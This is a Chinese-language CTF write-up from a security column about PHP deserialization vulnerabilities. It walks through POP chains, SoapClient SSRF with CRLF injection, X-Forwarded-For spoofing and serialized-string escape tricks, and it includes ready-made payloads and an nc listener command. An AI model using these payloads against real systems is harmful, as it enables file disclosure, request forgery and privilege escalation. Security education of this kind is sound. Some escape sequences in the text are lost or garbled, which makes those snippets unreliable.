unserialize()之前没有进行相应的过滤会产生漏洞,因为PHP允许对象序列化,攻击者就可以提交特定的序列化字符串给一个具有相应漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入。unserialize的参数可控<?php
class A{
var $name = "tide";
function __destruct(){
echo $this->test;
}
}
$a = 'O:1:"A":1:{s:4:"name";s:4:"tide";}';
unserialize($a);
__destruct函数,同时会覆盖test变量,输出tide。
Welcome to index.php<?php//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!class Modifier {protected $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}}if(isset($_GET['pop'])){@unserialize($_GET['pop']);}else{$a=new Show;highlight_file(__FILE__);}
首先列出题目中出现的魔术方法
__construct 当一个对象创建时被调用, __toString 当一个对象被当作一个字符串被调用。 __wakeup() 使用unserialize时触发 __get() 用于从不可访问的属性读取数据 #难以访问包括:(1)私有属性,(2)没有初始化的属性 __invoke() 当脚本尝试将对象调用为函数时触发
Modifier::__invoke()<--Test::__get()<--Show::__toString()
class Modifier { protected $var='php://filter/read=convert.base64-encode/resource=flag.php' ;}class Show{ public $source; public $str; public function __construct($file){ $this->source = $file; } public function __toString(){ return "karsa"; }}class Test{ public $p;}$a = new Show('aaa');$a->str = new Test();$a->str->p = new Modifier();$b = new Show($a);echo urlencode(serialize($b));
nc -lvvp 4567
<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:4567'));
$b = serialize($a);
$c = unserialize($b);
$c -> not_a_function();//调用不存在的方法,让SoapClient调用__call

SOAPAction处使我们的可控参数,因此我们可以尝试在这里注入自己构造的CRLF,即插入**rn**<?php
$a = new SoapClient(null,array('location'=>'http://127.0.0.1:4567', 'user_agent'=>"tidernContent-Type:application/x-www-form-urlencodedrn"."Content-Length: ".(string)strlen($post_string)."rnrn".$post_string, 'uri'=>"aaa"));
$b = serialize($a);
$c = unserialize($b);
$c -> not_a_function();//调用不存在的方法,让SoapClient调用__call

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);array_pop($xff);$ip = array_pop($xff);if($ip!=='127.0.0.1'){die('error');}else{$token = $_POST['token'];if($token=='ctfshow'){file_put_contents('flag.txt',$flag);}}
<?php highlight_file(__FILE__); $vip = unserialize($_GET['vip']); //vip can get flag one key $vip->getFlag();
token=ctfshow还有xff请求头,所以构造的payload如下:<?php
$post_string = "token=ctfshow";
$a = new SoapClient(null,array('location'=>'http://127.0.0.1/flag.php', 'user_agent'=>"aaaaaarnContent-Type:application/x-www-form-urlencodedrn"."X-Forwarded-For: 127.0.0.1,127.0.0.1rn"."Content-Length: ".(string)strlen($post_string)."rnrn".$post_string, 'uri'=>"aaa"));
$b = serialize($a);
echo urlencode($b);
X-Forwarded-For里需要两个127.0.0.1是因为docker环境的cloudfare代理导致的。
O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A3%3A%22aaa%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A129%3A%22aaaaaa%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A+127.0.0.1%2C127.0.0.1%0D%0AContent-Length%3A+13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D


;作为字段的分隔,以}作为结尾,并根据长度判断内容,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化。<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-03 02:37:19# @Last Modified by: h1xa# @Last Modified time: 2020-12-03 16:05:38# @message.php# @email: h1xa@ctfer.com# @link: https://ctfer.com*/error_reporting(0);class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}}$f = $_GET['f'];$m = $_GET['m'];$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));setcookie('msg',base64_encode($umsg));echo 'Your message has been sent';}highlight_file(__FILE__);
<?php/*# -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2020-12-03 15:13:03# @Last Modified by: h1xa# @Last Modified time: 2020-12-03 15:17:17# @email: h1xa@ctfer.com# @link: https://ctfer.com*/highlight_file(__FILE__);include('flag.php');class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}}if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_COOKIE['msg']));if($msg->token=='admin'){echo $flag;}}
捋一捋逻辑,有一个正则匹配会把传入的序列化内容中的fuck替换为loveU,也就是长度从4变成了5,可以操作的内容增加了一位,而且只要message类中的token值为admin,就会输出flag,所以payload如下:
";s:5:"token";s:5:"admin";}
fuck来获取额外的27个长度,来满足我们的payload,所以最终构造的payload如下?f=123&m=123&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}


x00*x00x00*x00也仍然会输出tide<?php
class test{
protected $a;
public function __construct(){
$this->a = 'tide';
}
public function __destruct(){
echo $this->a;
}
}
unserialize('O:4:"test":1:{s:1:"a";s:4:"tide";}');
__wakeup的执行。<?php
class test{
public $name;
public $nickname;
public function __construct(){
$this->name = 'abc';
$this->nickname= &$this->name;
}
}
$a = serialize(new test());
$b设置为$a的引用,是$a永远与$b相等。O:4:"test":2:{s:4:"%00*%00a";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
可以写成
O:4:"test":2:{S:4:"�0*�061";s:3:"abc";s:7:"%00test%00b";s:3:"def";}
表示字符类型的s大写时,会被当成16进制解析。
E
N
D
本文作者:TideSec
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/179300.html
必填 您当前尚未登录。 登录? 注册
必填(保密)